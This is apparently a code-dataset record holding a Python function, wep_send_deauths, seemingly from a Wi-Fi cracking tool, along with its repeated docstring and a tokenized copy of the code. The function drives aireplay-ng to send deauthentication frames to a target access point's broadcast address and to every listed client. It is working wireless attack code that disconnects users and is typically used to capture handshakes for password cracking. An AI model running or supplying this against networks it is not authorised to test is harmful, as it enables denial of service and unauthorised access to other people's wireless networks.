(iface, target, clients)
Sends deauth packets to broadcast and every client.
Sends deauth packets to broadcast and every client.
Sends deauth packets to broadcast and every client .
def wep_send_deauths(iface, target, clients):
    """
        Sends deauth packets to broadcast and every client.
    """
    global RUN_CONFIG
    # Send deauth to broadcast
    cmd = ['aireplay-ng',
           '--ignore-negative-one',
           '--deauth', str(RUN_CONFIG.WPA_DEAUTH_COUNT),
           '-a', target.bssid,
           iface]
    call(cmd, stdout=DN, stderr=DN)
    # Send deauth to every client
    for client in clients:
        cmd = ['aireplay-ng',
                 '--ignore-negative-one',
                 '--deauth', str(RUN_CONFIG.WPA_DEAUTH_COUNT),
                 '-a', target.bssid,
                 '-h', client.bssid,
                 iface]
        call(cmd, stdout=DN, stderr=DN)
def wep_send_deauths ( iface , target , clients ) : global RUN_CONFIG # Send deauth to broadcast cmd = [ 'aireplay-ng' , '--ignore-negative-one' , '--deauth' , str ( RUN_CONFIG . WPA_DEAUTH_COUNT ) , '-a' , target . bssid , iface ] call ( cmd , stdout = DN , stderr = DN ) # Send deauth to every client for client in clients : cmd = [ 'aireplay-ng' , '--ignore-negative-one' , '--deauth' , str ( RUN_CONFIG . WPA_DEAUTH_COUNT ) , '-a' , target . bssid , '-h' , client . bssid , iface ] call ( cmd , stdout = DN , stderr = DN )